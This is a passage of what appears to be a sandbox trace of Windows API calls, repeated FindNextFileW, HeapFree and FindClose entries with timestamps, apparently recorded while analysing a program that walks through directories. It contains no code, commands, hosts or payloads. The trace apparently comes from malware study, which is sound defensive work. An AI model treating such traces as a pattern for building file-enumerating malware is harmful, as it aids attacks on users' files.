(in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0045.023] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0045.023] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0045.023] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0045.204] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.204] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.206] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.206] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.206] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.206] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0045.207] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0045.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.207] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.207] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.207] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.209] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.209] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.210] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.210] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.534] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0045.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0045.793] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0045.794] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0045.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0045.794] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.176] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0046.176] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.312] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0046.312] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.321] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0046.321] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.321] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0046.321] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0046.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0046.323] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0046.323] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0046.324] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0046.331] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0046.331] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0046.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0046.387] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0046.390] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.390] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0046.673] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f20 | out: hHeap=0x690000) returned 1 [0046.674] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.677] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f20 | out: hHeap=0x690000) returned 1 [0046.677] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0046.677] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0046.677] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ee8 | out: hHeap=0x690000) returned 1 [0046.677] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0046.677] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0046.677] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.678] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0046.747] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.747] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.749] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.749] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.754] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.754] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0046.754] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ee8 | out: hHeap=0x690000) returned 1 [0046.755] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0046.757] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.757] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0046.765] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.765] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0046.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0046.770] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0047.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f18 | out: hHeap=0x690000) returned 1 [0047.276] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0047.276] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.276] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0047.422] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0047.422] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.423] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0047.423] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.424] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0047.424] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.428] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0047.428] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0047.428] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0047.428] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0047.428] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0047.432] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43c3f38 | out: hHeap=0x690000) returned 1 [0047.432] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0047.435] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43c3f38 | out: hHeap=0x690000) returned 1 [0047.435] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0047.526] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f30 | out: hHeap=0x690000) returned 1 [0047.526] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0047.529] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0047.529] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0047.531] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0047.531] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0047.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f28 | out: hHeap=0x690000) returned 1 [0047.542] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0047.543] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0047.543] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0047.543] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.545] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0047.545] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0047.547] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.547] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.549] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.549] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.551] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.551] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.553] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.553] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.559] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.559] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.560] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.560] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.637] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.638] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.640] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.640] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.892] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.892] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.893] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.893] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.895] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.895] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.896] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.896] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.906] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.907] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.908] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.909] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.909] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.924] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.927] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.938] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.938] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.939] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.939] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.941] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.941] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.942] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.944] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.944] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.945] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.946] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.948] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.948] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.949] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.949] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.950] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.950] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0047.952] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0047.952] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.294] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.294] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.295] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.296] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.297] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.297] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.299] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.299] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.300] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.300] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.302] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.302] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.304] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.305] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.305] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.306] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.306] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.307] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.308] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.309] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.310] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.310] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.312] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.312] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.313] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.314] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.314] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0048.316] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0048.316] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0048.316] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0048.316] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0048.316] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0048.316] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0048.316] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.317] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0048.319] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.319] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0048.321] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.321] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.322] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.324] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.324] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.634] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.635] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.635] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.636] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.638] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.639] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.639] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.641] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.643] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.643] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.644] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.645] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.645] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.647] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.648] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.650] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.651] HeapFree (in: 